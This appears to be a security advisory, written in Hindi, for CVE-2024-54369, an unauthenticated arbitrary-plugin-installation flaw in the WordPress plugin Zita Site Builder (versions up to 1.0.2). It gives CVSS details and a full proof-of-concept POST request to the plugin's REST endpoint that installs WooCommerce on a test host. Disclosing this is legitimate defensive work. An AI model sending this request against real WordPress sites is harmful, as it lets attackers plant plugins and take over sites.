CVE-2024-54369

Zita Site Builder <= 1.0.2 - मनमाने प्लगइन इंस्टॉलेशन के लिए प्राधिकरण की कमी

विवरण

WordPress के लिए Zita Site Builder प्लगइन, 1.0.2 तक के (1.0.2 सहित) संस्करणों में, अपने एक फ़ंक्शन पर क्षमता जांच (capability check) की कमी के कारण कार्यक्षमता तक अनधिकृत पहुंच के प्रति संवेदनशील है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए मनमाने प्लगइन इंस्टॉल और सक्रिय करना संभव बनाता है।

विवरण

• प्रकार: प्लगइन
• स्लग: ai-site-builder
• प्रभावित संस्करण: 1.0.2
• CVSS स्कोर: 9.8
• CVSS रेटिंग: गंभीर
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-54369
• स्थिति: बंद

POC

POST /wp-json/ai/v1/ai-site-builder HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=ai-site-builder&template=step
Content-Type: application/json
Content-Length: 245
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

{"params":{"templateType":"free","plugin":{"woocommerce":"Woocommerce"},"allPlugins":[{"woocommerce":"woocommerce/woocommerce.php"}],"builder":"th-shop-mania","themeSlug":"th-shop-mania","proThemePlugin":"hunk-companion","tmplFreePro":"plugin"}}

"\"https:\\\/\\\/wp-dev.ddev.site\""